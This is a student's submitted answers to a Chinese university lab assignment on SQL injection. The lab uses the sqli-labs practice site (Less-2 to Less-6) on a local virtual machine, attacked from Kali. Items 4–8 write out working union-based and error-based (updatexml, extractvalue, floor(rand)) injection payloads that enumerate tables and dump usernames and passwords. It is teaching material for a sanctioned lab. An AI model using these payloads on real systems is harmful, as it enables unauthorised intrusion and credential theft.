第05讲第01个实验
10-22 09:38 已提交,待教师公布正确答案 修改
1. 必答 [填空题]
打开两台虚拟机,Windows Server 2003机作为目标机,Kali机作为攻击机,并参照下图所示的网络拓扑环境,分别对两台虚拟机的ip地址进行配置。
注:此处的学号=本人学号的最后两位数字,1学号=100+本人学号的最后两位数字
请输入本人的学号最后两位数字:________________。
我的答案:
(1) 10
2. 必答 [简答题]
在目标机上安装DNS服务,创建主要区域(本人姓名.edu.cn)的正、反向查找区域,并创建下列主机对应的ip地址:www.本人姓名.edu.cn(目标机的ip地址)。
注:这里的姓名为你本人的姓名全拼。
(1)将DNS的配置结果截屏上传,要能看到完整的主机名和对应的ip地址,要求与目标机的ipconfig同屏截图;
(2)在攻击机上输入命令nslookup www.本人姓名.edu.cn,将解析结果截屏上传,要求与攻击机的ifconfig同屏截图。
我的答案:
3. 必答 [简答题]
在实验工具中下载xammp和SQL注入练习,解压后分别拷贝到目标机中,并将运行环境配置好。打开xammp的配置窗口,截图上传,要求与目标机的ipconfig同屏截图
我的答案:
4. 必答 [简答题]
在kali机上用火狐浏览器访问目标机,要求使用 www.姓名.edu.cn访问SQL注入练习网站,完成Less-2的注入攻击。
① 写出你是如何判断Less-2的注入点的;
② 写出注入攻击中每一关键步骤的注入语句,并附上简要的文字,说明所使用的攻击策略,并将最终爆库的执行结果截图上传,要求截图时必须清晰包含火狐浏览器的访问网址,且要与kali机的ifconfig同屏截图,在图片右下角标上学号后两位。
我的答案:判断是整型 1 or 1=1 爆字段:1 or 1=1 order by 3 -- asd 查数据库,PHP版本: ?id=0 union select 1,database(),version() -- asd 查表名 ?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- asd 查字段名 ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- asd 查字段数据 ?id=0 union select 1,2,group_concat(id,username,password) from users -- asd
5. 必答 [简答题]
在kali机上用火狐浏览器访问目标机,要求使用 www.姓名.edu.cn访问SQL注入练习网站,完成Less-3的注入攻击。
① 写出你是如何判断Less-3的注入点的;
② 写出注入攻击中每一关键步骤的注入语句,并附上简要的文字,说明所使用的攻击策略,并将最终爆库的执行结果截图上传,
要求截图时必须清晰包含火狐浏览器的访问网址,且要与kali机的ifconfig同屏截图,在图片右下角标上学号后两位。
我的答案:源码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; 查表的字段 ?id=1') order by 3 -- asd 查数据库和PHP版本 ?id=0') union select 1,database(),version() -- asd 查表名: ?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- asd 查字段名: ?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- asd 查字段数据 ?id=0') union select 1,2,group_concat(id,username,password) from users-- asd
6. 必答 [简答题]
在kali机上用火狐浏览器访问目标机,要求使用 www.姓名.edu.cn访问SQL注入练习网站,完成Less-4的注入攻击。
① 写出你是如何判断Less-4的注入点的;
② 写出注入攻击中每一关键步骤的注入语句,并附上简要的文字,说明所使用的攻击策略,并将最终爆库的执行结果截图上传,要求截图时必须清晰包含火狐浏览器的访问网址,且要与kali机的ifconfig同屏截图,在图片右下角标上学号后两位。
我的答案:源码:$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; 当然也可以自己判断,输入双引号时,如下图, 这说明这里是用""和()对$id进行包装,所以应该用?id=1") -- asd进行注入 查字段:?id=1") order by 3 -- asd 查数据库和PHP版本 ?id=0") union select 1,database(),version() -- asd 查表名: ?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- asd 查字段名: ?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- asd 查字段数据: ?id=0") union select 1,2,group_concat(id,username,password) from users-- asd
7. 必答 [简答题]
在kali机上用火狐浏览器访问目标机,要求使用 www.姓名.edu.cn访问SQL注入练习网站,完成Less-5的注入攻击。
① 写出你是如何判断Less-5的注入点的;
② 写出注入攻击中每一关键步骤的注入语句,并附上简要的文字,说明所使用的攻击策略,并将最终爆库的执行结果截图上传,要求截图时必须清晰包含火狐浏览器的访问网址,且要与kali机的ifconfig同屏截图,在图片右下角标上学号后两位。
我的答案:输入单引号时,出现报错,显示是双引号 但是双引号是又是一个不变的界面,如下 这种情况我们可以尝试报错注入,可以使用updatexml()和extractvalue(),他们两使用如下,其他使用方法都一样了,这里我只演示updatexml了 ?id=0' and updatexml(1,concat('$',(select database())),1) -- asd ?id=0' and extractvalue(1,concat(‘$’,database())) -- asd 查PHP版本: ?id=0' and updatexml(1,concat('$',(select version())),1) -- asd 发现只能显示后面几位,可以用substr()来获取版本的第一个字符,看看是不是5,或者其他,如果正确,则是"You are in ... "这个界面.(这里id不能是0) ?id=1" and substr(version,1,1)=5 -- asd 查表名: ?id=0' and updatexml(1,concat('$',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) -- asd 查字段名: ?id=0' and updatexml(1,concat('$',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) -- asd 查字段数据 ?id=0' and updatexml(1,concat('$',(select group_concat(id,username,password) from users)),1) -- asd 有限长,用limit一个字段一个字段查看,如: ?id=0' and updatexml(1,concat('$',(select username from users limit 1,1)),1) -- asd
8. 必答 [简答题]
在kali机上用火狐浏览器访问目标机,要求使用 www.姓名.edu.cn访问SQL注入练习网站,完成Less-6的注入攻击。
① 写出你是如何判断Less-6的注入点的;
② 写出注入攻击中每一关键步骤的注入语句,并附上简要的文字,说明所使用的攻击策略,并将最终爆库的执行结果截图上传,要求截图时必须清晰包含火狐浏览器的访问网址,且要与kali机的ifconfig同屏截图,在图片右下角标上学号后两位。
我的答案:和上一关差不多,只是注入变成了双引号 ?id=1" and updatexml(1,concat('$',(select database())),1) -- asd ?id=1" union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x --+ 判断PHP版本:?id=1" and substr(version(),1,1)=5 -- asd 查表名: ?id=0" and updatexml(1,concat('$',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) -- asd 查字段名: ?id=0" and updatexml(1,concat('$',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) -- asd 查字段内容,应该还是限长,用limit: ?id=0" and updatexml(1,concat('$',(select username from users limit 2,1)),1) -- asd